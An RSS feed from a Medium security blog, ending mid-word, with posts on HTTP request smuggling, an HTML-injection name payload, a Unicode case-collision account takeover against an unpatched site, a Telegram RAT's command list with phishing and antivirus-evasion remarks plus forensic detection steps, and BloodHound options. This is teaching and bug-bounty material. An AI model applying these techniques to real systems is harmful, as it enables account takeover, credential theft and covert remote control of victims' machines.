<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Cyber Verse - Medium]]></title>
        <description><![CDATA[You are under survillence. - Medium]]></description>
        <link>https://medium.com/cyberverse?source=rss----8e6f0690decd---4</link>
        <image>
            <url>https://cdn-images-1.medium.com/proxy/1*TGH72Nnw24QL3iV9IOm4VA.png</url>
            <title>Cyber Verse - Medium</title>
            <link>https://medium.com/cyberverse?source=rss----8e6f0690decd---4</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 18 Nov 2026 12:23:27 GMT</lastBuildDate>
        <atom:link href="https://medium.com/feed/cyberverse" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[HTTP Request Smuggling in Plain English.]]></title>
            <link>https://medium.com/cyberverse/http-request-smuggling-in-plain-english-7080e48df8b4?source=rss----8e6f0690decd---4</link>
            <guid isPermaLink="false">https://medium.com/p/7080e48df8b4</guid>
            <category><![CDATA[security]]></category>
            <category><![CDATA[hetroublemaker]]></category>
            <category><![CDATA[http-request]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Aditya Soni]]></dc:creator>
            <pubDate>Mon, 13 Apr 2020 20:06:28 GMT</pubDate>
            <atom:updated>2020-04-13T20:06:28.790Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello everyone, this is the topic in which I’ve really struggled learning it. So I decided to understand it from the various blog post, videos and many more ways. Today, I’m gonna write is down in Plain English and in the end will attach the references and some tools also ;)</p><p>Let’s Begin and try to finish it in one article.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2Fl0HlNicrZBkgVoVUY%2Ftwitter%2Fiframe&amp;display_name=Giphy&amp;url=https%3A%2F%2Fmedia.giphy.com%2Fmedia%2Fl0HlNicrZBkgVoVUY%2Fsource.gif&amp;image=https%3A%2F%2Fi.giphy.com%2Fmedia%2Fl0HlNicrZBkgVoVUY%2Fgiphy.gif&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=giphy" width="435" height="244" frameborder="0" scrolling="no"><a href="https://medium.com/media/56bf15ecd74ec192a53c5a8a984056f5/href">https://medium.com/media/56bf15ecd74ec192a53c5a8a984056f5/href</a></iframe><h3># What is HTTP Request Smuggling?</h3><blockquote>HTTP request smuggling is a technique for interfering with the way a web site processes sequences of HTTP requests that are received from one or more users. Request smuggling vulnerabilities are often critical in nature, allowing an attacker to bypass security controls, gain unauthorized access to sensitive data, and directly compromise other application users.<br>~<a href="https://portswigger.net/">https://portswigger.net</a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VAEQhB4104YwbzkWMAOy1g.png" /><figcaption>HTTP Request Smuggling</figcaption></figure><p>HTTP request smuggling is also called as HTTP DESYNC ATTACK because the request sent is treated distinctly by Front-end and Back-end server on account of which we get an unexpected outcome or error in the Response and this can be considered as the base explanation of request smuggling.</p><p>To understand deeply about request smuggling behaviour we have to know the major key specs of its happening.</p><h3># Core Concept</h3><h4><a href="https://tools.ietf.org/html/rfc2616">RFC Specification (2161)</a></h4><blockquote>If a message is received with both a Transfer-Encoding header field and a Content-Length header field, the latter MUST be ignored.</blockquote><h4>Content-Length</h4><blockquote>The Content-Length entity header indicates the size of the entity-body, in bytes, sent to the recipient.</blockquote><h4>Transfer-Encoding: chunked</h4><blockquote>The Transfer-Encoding header specifies the form of encoding used to safely transfer the payload body to the user.<br>Chunked means that large data is sent in a series of chunks</blockquote><h4>Front-End Server (Load Balance | Reverse Proxy)</h4><blockquote>Process the content-length</blockquote><h4>Back-End Server</h4><blockquote>Process the transfer-encoding</blockquote><h4>Carriage Return Line Feed (CRLF) \r\n</h4><blockquote>You check out my <a href="https://medium.com/cyberverse/crlf-injection-playbook-472c67f1cb46">previous blog</a> about CRLF if any confusion in what is CRLF.<br>But here CRLF characters play vital role in request smuggling as they append in end and they are also not visible in the request.<br>\r = 1 byte, \n = 1 byte</blockquote><h4>Size: (in bytes)</h4><blockquote>Will come into play when performing it manually [It can be tricky]:)</blockquote><h4># How this Issue is caused? (Laymen-term)</h4><blockquote>When a request is sent then front-end server process the <strong>content-length</strong> and back-end server process the <strong>transfer-encoding </strong>and hence both the servers are treating the same request distinctly and due to which the request doesn’t synchronise and give us an unexpected outcome or error in the Response which cause the <em>Request smuggling.</em></blockquote><h4>Vulnerabilities exploited via Request Smuggling:</h4><ul><li>XSS</li><li>Unauthenticated Access</li><li>Web Cache Poisoning</li><li>Web Cache Deception</li></ul><h4># Understanding Transfer-Encoding</h4><p>We’ll understand it with the help of an Image.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/702/1*qBQVf59Fe0ZOacag--P65Q.png" /></figure><blockquote>Here in this above image Transfer encoding is used and you can see chunked is also used which sends the large data into chunk series. <br><strong>Key Points:<br>5: </strong>tells that<strong> Hello </strong>has 5 character in <strong>Hexa-Decimal </strong>(5 Decimal = 5 Hex)<strong><br>1E: </strong>tells that <strong>hetroublemaker-from-cyberverse </strong>has 30 character in <strong>Hexa-Decimal<br>0: </strong>in the end it tells to terminate the request( Termination-Point)</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/579/1*dLnYpqQRXWK86GExSaWLjw.png" /><figcaption>Conversion ~ decimal to hex-number</figcaption></figure><h4>#Understading Content-Length</h4><p>We’ll understand it with the help of an Image.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*O8ugERopQ4yDsSIP272c_A.png" /></figure><blockquote>As you can see content-length = 6, and you get confused HOW? that’s what happened with me in starting stage. In real case you won’t see CRLF characters but they are appened after each line are also counted in the content-length of the request and <strong>hence 0 + \r + \n + \r + \n + G = 6 content-length.</strong></blockquote><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2FdWy2WwcB3wvX8QA1Iu%2Ftwitter%2Fiframe&amp;display_name=Giphy&amp;url=https%3A%2F%2Fmedia.giphy.com%2Fmedia%2FdWy2WwcB3wvX8QA1Iu%2Fsource.gif&amp;image=https%3A%2F%2Fi.giphy.com%2Fmedia%2FdWy2WwcB3wvX8QA1Iu%2Fgiphy.gif&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=giphy" width="435" height="269" frameborder="0" scrolling="no"><a href="https://medium.com/media/16ca94494026043499fdbd1eaf482383/href">https://medium.com/media/16ca94494026043499fdbd1eaf482383/href</a></iframe><h3># Now, it’s time to Understand the Actual Vulnerability.</h3><h4>1. CL.TE (Content-length.Transfer-encoding)</h4><p>Let’s take an example here and understand with an Image:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/931/1*x1WiP0VrzOIiQgdZwrcQMA.png" /><figcaption>CL.TE Malicious Request</figcaption></figure><p>As you can see in the above image <strong>Content-Length &amp; Transfer-Encoding</strong> both are used and According to <strong>RFC specifications</strong> if both the headers are present in a single request then they will conflict each other and then the Content-Length header should be ignored.</p><p>Now, let’s suppose if the front-end server processes the content-length then it’ll check the Content-Length header of the Request which is equal to <strong>6. </strong>(0+(CRLF characters)+F) = 6</p><p>After front-end, the request will go to back-end server and here Transfer-Encoding comes into play; As you know back-end processes the T.E, So it’ll check for Transfer-Encoding header and also we have mentioned <strong>0 ‘Zero’ (</strong>which means Termination Point<strong>). </strong>And If back-end supports T.E it’ll not forward the rest of data after it’s termination point and “<strong>F</strong>” will remain unprocessed until next request. And will append with the Next Request as you can see in the above image <strong>[Request in red in the next request]</strong></p><h4>DEMO:</h4><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2F2Zw-F5szFgM%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3D2Zw-F5szFgM&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2F2Zw-F5szFgM%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/b8eb7483873887f7793caa201c70e449/href">https://medium.com/media/b8eb7483873887f7793caa201c70e449/href</a></iframe><h4>2. TE.CL (Transfer-Encoding.Content-Length)</h4><p>Here, the front-end server uses the <strong>Transfer-Encoding</strong> header and the back-end server uses the <strong>Content-Length</strong> header.</p><p>Let’s understand it with an Image.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/953/1*w47StomKlRd49On4dk2sHg.png" /><figcaption>TL.CE Malicious Request</figcaption></figure><p>Here you can see that Malicious request, It has <strong>Transfer-Encoding: chunked &amp; Content-Length: 4. </strong>Now analyse the request: content-length is 4 Because it’s the length of 5c (plus CRLF character) which is hex-number of 92 decimal number and After that, there is some data which is going to be our junk data which will get left unprocessed, and the back-end server will treat these as being the start of the next request in the sequence.</p><h4><strong>DEMO:</strong></h4><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2Fz0QiGtbj8eA%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3Dz0QiGtbj8eA&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2Fz0QiGtbj8eA%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/e8c98cfb8b2f1ff37e3f3ca1d0c9b5b7/href">https://medium.com/media/e8c98cfb8b2f1ff37e3f3ca1d0c9b5b7/href</a></iframe><p>#There is also TE.TE vulnerability which I expect you can do it on your own :D</p><h3># Some Automation</h3><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2FrVbAzUUSUC6dO%2Ftwitter%2Fiframe&amp;display_name=Giphy&amp;url=https%3A%2F%2Fmedia.giphy.com%2Fmedia%2FrVbAzUUSUC6dO%2Fsource.gif&amp;image=https%3A%2F%2Fi.giphy.com%2Fmedia%2FrVbAzUUSUC6dO%2Fgiphy.gif&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=giphy" width="435" height="244" frameborder="0" scrolling="no"><a href="https://medium.com/media/7137eb0f3d3dbdf7dee999ee9d491ed3/href">https://medium.com/media/7137eb0f3d3dbdf7dee999ee9d491ed3/href</a></iframe><ol><li>Burp suite’s extension: HTTP Request Smuggler</li></ol><p><a href="https://github.com/PortSwigger/http-request-smuggler">GitHub - PortSwigger/http-request-smuggler</a></p><p>2. This is a tool created by <a href="https://twitter.com/gwendallecoguic">Gwendal Le Coguic</a></p><p><a href="https://github.com/gwen001/pentest-tools/blob/master/smuggler.py">gwen001/pentest-tools</a></p><h4>DEMO:</h4><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FbJREGOiuHjI%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DbJREGOiuHjI&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FbJREGOiuHjI%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/c0bca1d9388a8c19085c250646162b64/href">https://medium.com/media/c0bca1d9388a8c19085c250646162b64/href</a></iframe><h3>THE END</h3><p>Before ending it here, I’m gonna share some amazing blog post and some HackerOne reports about the HTTP request smuggling Vulnerability.</p><ul><li><a href="https://blog.zeddyu.info/2019/12/08/HTTP-Smuggling-en/">Help you understand HTTP Smuggling in one article</a></li><li><a href="https://hazana.xyz/posts/escalating-reflected-xss-with-http-smuggling/">Escalating reflected XSS with HTTP Smuggling</a></li><li><a href="https://hackerone.com/reports/737140">Slack disclosed on HackerOne: Mass account takeovers using HTTP...</a></li><li><a href="https://hackerone.com/reports/694604">Lob disclosed on HackerOne: HTTP Request Smuggling on vpn.lob.com</a></li><li><a href="https://hackerone.com/reports/498052">New Relic disclosed on HackerOne: Password theft login.newrelic.com...</a></li><li><a href="https://medium.com/@cc1h2e1/write-up-of-two-http-requests-smuggling-ff211656fe7d">Write up of two HTTP Requests Smuggling</a></li></ul><p>This is all about the basics of Request smuggling. I hope you have learnt something from this blog.</p><p>So, Until Next Blog</p><p>Best of luck everyone. Keep-Hacking!</p><p>Feedbacks and edits are welcome</p><p><a href="https://twitter.com/hetroublemakr">Twitter</a>, <a href="https://www.linkedin.com/in/adtyasoni/">Linkedin</a>, <a href="https://www.youtube.com/channel/UCQl35lhVYlQVhp7AqdLsidA/">Youtube</a></p><p>If you enjoyed this blog, please click the 👏 button and share it to help others find it.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7080e48df8b4" width="1" height="1" alt=""><hr><p><a href="https://medium.com/cyberverse/http-request-smuggling-in-plain-english-7080e48df8b4">HTTP Request Smuggling in Plain English.</a> was originally published in <a href="https://medium.com/cyberverse">Cyber Verse</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Got Easiest Bounty with HTML injection via email confirmation!]]></title>
            <link>https://medium.com/cyberverse/got-easiest-bounty-with-html-injection-via-email-confirmation-b1b10575a105?source=rss----8e6f0690decd---4</link>
            <guid isPermaLink="false">https://medium.com/p/b1b10575a105</guid>
            <category><![CDATA[cyberverse]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[html]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <dc:creator><![CDATA[Shaurya Sharma]]></dc:creator>
            <pubDate>Wed, 11 Mar 2020 19:01:18 GMT</pubDate>
            <atom:updated>2020-03-11T19:20:19.939Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XV1iBAmV2X8DB-yr4GFGtQ.png" /></figure><p><strong>HTML injection is an attack very similar to Cross-site Scripting (XSS), whereas in XSS the attacker can inject and execute Javascript code, in HTML injection attack it allows only the injection of certain HTML tags.</strong></p><h3>LET’S GO HUNTERS!!</h3><ul><li>I register on the site, with the name “Shaurya” surname “Sharma” email {xxxx@mail.com} Temp-Mail (Disposable Email)</li><li>After registration, comes a message asking the user to validate their account through an email confirmation.</li></ul><p>“-Please Shaurya Sharma, validate your account through a link sent to xxxxx@mail [.] Com”</p><blockquote>HTML Code -:</blockquote><p><em>&lt;h1&gt; Email confirmation &lt;/h1&gt;</em></p><p><em>&lt;p&gt; Hello Shaurya Sharma, here is the link to confirm your email.</em></p><p><a href="http://bancotop.com/confirmation/supertokenconfirmation1234"><em>http://xxxxxx.org.in/Login/id=8829234?q</em></a></p><p><em>&lt;/p&gt;</em></p><blockquote>We noticed that the site recorded the user’s name as HTML in the database, and now when requesting confirmation, the HTML injected by the user is able to break the original email sent by the system.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/589/1*EhuM6NgSWd1XJ_KYVRdy2g.jpeg" /></figure><h3><strong>Testing HTML injection:</strong></h3><ul><li>I created a new account, named ` <em>”&gt; &lt;img src = (Link/Location)</em> `and surname test, then the site returns the answer:-</li></ul><blockquote>“Please<a href="https://i.redd.it/l1yy7vaasqv31.jpg">“&gt; &lt;img src =” </a><a href="https://i.redd.it/l1yy7vaasqv31.jpg">https://i.redd.it/l1yy7vaasqv31.jpg</a><a href="https://i.redd.it/l1yy7vaasqv31.jpg"> “&gt;</a> test, validate your account using a link sent to xxxxxx@mail [.] Com ”</blockquote><p>OUTPUT &gt;</p><p><strong>Hello,</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CdOpJjHKU2-VMZ3q-qOOCA.jpeg" /></figure><p><strong><em>, here is the link to confirm your email </em></strong><a href="http://bancotop.com/confirmation/supertokenconfirmation1234"><strong><em>http://xxxxxx.org.in/Login/id=8829234?q</em></strong></a></p><p>DONE !! Now you can inject any malicious input/code in the “Name” field text box, ant the output is reflected in the confirmation email.</p><p><strong>Impact Example-: </strong>In banking systems, it can be used to obtain information about the victim’s card or request some unusual payment.</p><h3>KEEP HUNTING …</h3><p>#CyberVerse #Togtherwehitharder #bugbounty #webapplication</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b1b10575a105" width="1" height="1" alt=""><hr><p><a href="https://medium.com/cyberverse/got-easiest-bounty-with-html-injection-via-email-confirmation-b1b10575a105">Got Easiest Bounty with HTML injection via email confirmation!</a> was originally published in <a href="https://medium.com/cyberverse">Cyber Verse</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Got *Bounty* with Account takeover (ATO ) Unicode-Case Mapping Collision !]]></title>
            <link>https://medium.com/cyberverse/got-bounty-with-account-takeover-ato-unicode-case-mapping-collision-d23a7785e1be?source=rss----8e6f0690decd---4</link>
            <guid isPermaLink="false">https://medium.com/p/d23a7785e1be</guid>
            <category><![CDATA[cyberverse]]></category>
            <category><![CDATA[shaurya-sharma]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[account-takeover]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Shaurya Sharma]]></dc:creator>
            <pubDate>Thu, 05 Mar 2020 08:29:39 GMT</pubDate>
            <atom:updated>2020-03-05T08:29:39.231Z</atom:updated>
            <content:encoded><![CDATA[<h3>Got *Bounty* with Account takeover (ATO ) Unicode-Case Mapping Collision !</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/567/1*OkUSH7r4c-tvlidIycIPmw.jpeg" /></figure><h4>Hey hunters ! Recently I discovered a Unicode-Case Mapping Collision vulnerability on a private program.</h4><p><strong><em>Unicode exceptionally complex. Few people know all the tricks: from invisible characters and control characters to surrogate pairs and combined emojis (when adding two characters you get a third).</em></strong></p><blockquote>As the vulnerability is still not patched yet so I’m denoting the website with “xyz.in” in this blog</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/299/1*Rf70uV_h8FvQmSaaSUXRAA.jpeg" /></figure><blockquote>I have just registered my own domain to exploit a security flaw in xyz.in forgot password process to gain access to an account that belongs to a privileged user.</blockquote><h3>THAT SHIT COST ME $20 😂</h3><h4>In this case, I used the Turkish character ‘ı’ (‘i’ without a dot), which is translated into Latin ‘i’, so that the postal address Test@xyz. ın after processing turns into Test@xyz.in</h4><ul><li>Successfully created a domain xyz. ın (Without the dot)</li><li>Created Free email from Google G-Suite trial pack and named it “Admin@xyz. ın”</li><li>Created an account on “xyz.in” with the malicious email address as “admin@xyz.ın”</li><li>Logged out from that account &gt;&gt; logged in “admin@xyz.ın” and clicked on Forget Password.</li><li>Intercepted the request&gt;&gt; And the input reflecting in UPPER CASE</li><li>The DB found replaced the malicious user with the correct one and triggered a password reset token on the malicious email address.</li><li>Successfully changed the password of the admin user, and got the bounty!!</li></ul><h4>Such collisions can be found on all Unicode planes:<a href="https://eng.getwisdom.io/awesome-unicode/#onetomanycasemappings"> here is the complete list .</a></h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/657/1*-zvENXUgplsiRjfe-2bvIA.jpeg" /></figure><p>#HappyHunting #BugBounty #2020 #CyberVerse</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d23a7785e1be" width="1" height="1" alt=""><hr><p><a href="https://medium.com/cyberverse/got-bounty-with-account-takeover-ato-unicode-case-mapping-collision-d23a7785e1be">Got *Bounty* with Account takeover (ATO ) Unicode-Case Mapping Collision !</a> was originally published in <a href="https://medium.com/cyberverse">Cyber Verse</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How to create a Telegram-RAT (Remote Access Trojan)-2020]]></title>
            <link>https://medium.com/cyberverse/how-to-create-a-telegram-rat-remote-access-trojan-2020-17847ac4575c?source=rss----8e6f0690decd---4</link>
            <guid isPermaLink="false">https://medium.com/p/17847ac4575c</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[cyberverse]]></category>
            <category><![CDATA[telegram]]></category>
            <category><![CDATA[telegram-bot]]></category>
            <category><![CDATA[shaurya-sharma]]></category>
            <dc:creator><![CDATA[Shaurya Sharma]]></dc:creator>
            <pubDate>Mon, 02 Mar 2020 10:15:01 GMT</pubDate>
            <atom:updated>2020-03-02T10:15:01.725Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/567/1*_2QzaBrYhz0Kkz9qpj5etw.jpeg" /></figure><p>There are a lot of hidden channels and bots with different illegal and piracy content. I can suggest you an <a href="https://www.intrinsec.com/telegram-english/">article</a> where some of these points are described deeply.</p><p>In this blog we are going to learn how to build a Telegram as <strong>Remote Access Toolkit (RAT) </strong>that is undetectable by antivirus.</p><p>So, you can download it from Github or somewhere else and try to use IM as RAT</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/901/0*cZNbnLgr9nrdwVau.jpeg" /></figure><p>Almost all of these projects use a <strong>Python</strong> code. So, anyone can compile a python code to <strong>.exe</strong> using tools like pyinstaller or kind of this.</p><p>On final you’ll get — <strong>BOOM!</strong> — an executable RAT tool, which is undetectable for antivirus&#39;s!<br>Cool, hah?</p><p>Here are some capabilities of <strong><em>mvrozanti/RAT-via-Telegram</em></strong> for instance:</p><pre>arp - display arp table<br>capture_pc - screenshot PC<br>cmd_exec - execute shell command<br>cp - copy files<br>cd - change current directory<br>delete - delete a file/folder<br>download - download file from target<br>decode_all - decode ALL encoded local files<br>dns - display DNS Cache<br>encode_all - encode ALL local files<br>freeze_keyboard - enable keyboard freeze<br>unfreeze_keyboard - disable keyboard freeze<br>get_chrome - Get Google Chrome&#39;s login/passwords<br>hear - record microphone<br>ip_info - via ipinfo.io<br>keylogs - get keylogs<br>ls - list contents of current or specified directory<br>msg_box - display message box with text<br>mv - move files<br>pc_info - PC information<br>ping - makes sure target is up<br>play - plays a youtube video<br>proxy - opens a proxy server<br>pwd - show current directory<br>python_exec - interpret python<br>reboot - reboot computer<br>run - run a file<br>schedule - schedule a command to run at specific time<br>self_destruct - destroy all traces<br>shutdown - shutdown computer<br>tasklist - display services and processes running<br>to - select targets by it&#39;s name<br>update - update executable<br>wallpaper - change wallpaper</pre><p>An attacker can <strong>customize</strong> the RAT (change an icon, add a certificate etc), then compile and send it as a phishing email attachment. What’s next? Anything!</p><p>Search for files (even on a network drives), execute apps and scripts, upload and download documents, receive a key logs, blah-blah — <strong>anything!</strong></p><p>Of course — an attacker needs the infected workstation has Internet access. But I think it’s not a big deal for some reasons.</p><blockquote>HERE WE GO!</blockquote><p><strong>1.</strong> Modern malwares mostly created for long-term exploitation of IT-infrastructure. So, try to find a persistence points. The common way is to check the auto run keys:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/929/0*BfUoQRnTAIq1UcqX.jpeg" /></figure><p>On this screenshot you see an application with Adobe icon but it has non-standard name and location — check it on <strong>Virustotal</strong> or related service if you found kind of this one.</p><p>By the way — this is the results of checking Telegram-based RAT executive file. As you see, just minor part of engines detected it as suspicious.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/906/0*gkwAz9d0J59KveWm.jpeg" /></figure><p><strong>2.</strong> Since something strange was found in the auto run, the next obvious step is to check the process list. Well, here we’ve found this Adobe-like process with active network session:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/726/0*p8HkGv9qcrJvFNty.jpeg" /></figure><p>Ok, let’s check this IP address… And — <strong>BOOM!</strong> — it’s a <strong>Telegram IP</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*SkX7ckxz9jANfeXY.jpeg" /></figure><p><strong>3. </strong>How to find out the behaviour of this process? Try to use <a href="https://docs.microsoft.com/en-us/sysinternals/downloads/procmon">Process Monitor</a>!</p><p>To get a more comfortable view don’t forget to use filter by process &amp; filesystem operations:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/884/0*8u7DTS7ayB8h3-fJ.jpeg" /></figure><p>You can see a lot of different operations on files and folders and some filenames give us an important information about the process functions (win32clipboard.pyd).</p><p>Moreover, we noticed the active process creates a number of temporary python files — we can use this knowledge further, during the investigation process.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/744/0*j9FODbXhQ4SN5yeA.jpeg" /></figure><p><strong>4. </strong>For instance, two ways to understand what date when RAT was started first time:</p><ul><li>Check the system prefetch list using <a href="https://www.nirsoft.net/utils/win_prefetch_view.html">WinPrefetchView</a></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/894/0*SWmizZPrPFmaExNI.jpeg" /></figure><ul><li>Check the processes’ network usage statistics from SRUM using <a href="https://www.nirsoft.net/utils/network_usage_view.html">NetworkUsageView</a></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/890/0*X91B0cuWBKu-u3MU.jpeg" /></figure><p>#HappyHacking #CyberVerse #2020</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=17847ac4575c" width="1" height="1" alt=""><hr><p><a href="https://medium.com/cyberverse/how-to-create-a-telegram-rat-remote-access-trojan-2020-17847ac4575c">How to create a Telegram-RAT (Remote Access Trojan)-2020</a> was originally published in <a href="https://medium.com/cyberverse">Cyber Verse</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Dictionary For Hacking an active directory!]]></title>
            <link>https://medium.com/cyberverse/dictionary-for-hacking-an-active-directory-2f362edc7da1?source=rss----8e6f0690decd---4</link>
            <guid isPermaLink="false">https://medium.com/p/2f362edc7da1</guid>
            <category><![CDATA[shaurya-sharma]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[cyberverse]]></category>
            <category><![CDATA[2020]]></category>
            <dc:creator><![CDATA[Shaurya Sharma]]></dc:creator>
            <pubDate>Mon, 27 Jan 2020 10:11:46 GMT</pubDate>
            <atom:updated>2020-01-27T10:11:17.403Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rxtsacuXzY33dVft_usT-Q.jpeg" /><figcaption>BloodHound Dictionary!</figcaption></figure><p><strong>Collection Method - </strong>is the collection method to use. This parameter takes a comma-separated list of values. It has the following potential values ​​(default: default)</p><p><strong>Default</strong> - Collects group membership, a domain trust collection, a collection of local administrators, and a collection of sessions</p><p><strong>Group- </strong>Collects group members</p><p><strong>LocalAdmin</strong> — Collects local administrators</p><p><strong>RDP- </strong>Runs a collection of remote desktop users</p><p><strong>DCOM - </strong>Performs a collection of distributed COM users</p><p><strong>GPOLocalGroup</strong> -runs a local collection of administrators using GPOs</p><p><strong>Session</strong> — collects a session;</p><p><strong>ComputerOnly </strong>— Performs local administration, RDP, DCOM, and session collection</p><p><strong>LoggedOn</strong> — collects privileged sessions (requires administrator rights on target systems)</p><p><strong>Trusts</strong> — enumerates domain trust</p><p><strong>ACL</strong> — collects ACLs</p><p><strong>Container </strong>— collects containers</p><p><strong>ObjectProps</strong> — collects object properties, such as LastLogon and DisplayName</p><p><strong>DcOnly</strong> — Collects only using LDAP. Includes Group, Trusts, ACL, ObjectProps, Container, and GPOLocalGroup</p><p><strong>All</strong> — Performs all data collection methods except GPOLocalGroup.</p><p><strong>SearchForest</strong> — Search for all domains in the forest, not just your current one</p><p><strong>Domain</strong> — Search for a specific domain. Uses your current domain if zero (default: zero)</p><p><strong>Stealth</strong> — Performs stealth collection methods. All stealth options are single-threaded;</p><p><strong>SkipGCDeconfliction</strong> — Skip the global catalog conflict when listing sessions. This may speed up the enumeration, but will lead to possible inaccuracies in the data .</p><p><strong>ExcludeDc</strong> — excludes domain controllers from the enumeration (excludes Microsoft ATA flags)</p><p><strong>ComputerFile</strong> — specify the file for downloading the names / IP addresses of computers</p><p><strong>OU </strong>— indicate which OU to list</p><blockquote><strong>**Connection Options**</strong></blockquote><p><strong>DomainController </strong>— indicate which domain controller to connect to (default: zero);</p><p><strong>LdapPort</strong> — indicate which port LDAP works on (default: 0);</p><p><strong>SecureLdap </strong>— Connect to AD using secure LDAP instead of regular LDAP. Will be connected to port 636 by default;</p><p><strong>IgnoreLdapCert </strong>— Ignores the LDAP SSL certificate. Use if there is a self-signed certificate;</p><p><strong>LDAPUser </strong>— Username for connecting to LDAP. An LDAPPass parameter is also required (default: null);</p><p><strong>LDAPPass </strong>— password for connecting the user to LDAP. An LDAPUser parameter is also required (default: null);</p><p><strong>DisableKerbSigning</strong> — Disables LDAP encryption. Not recommended.</p><blockquote><strong>Work Parameters</strong></blockquote><p><strong>Threads</strong> — indicate the number of threads (default: 10);</p><p><strong>PingTimeout</strong> 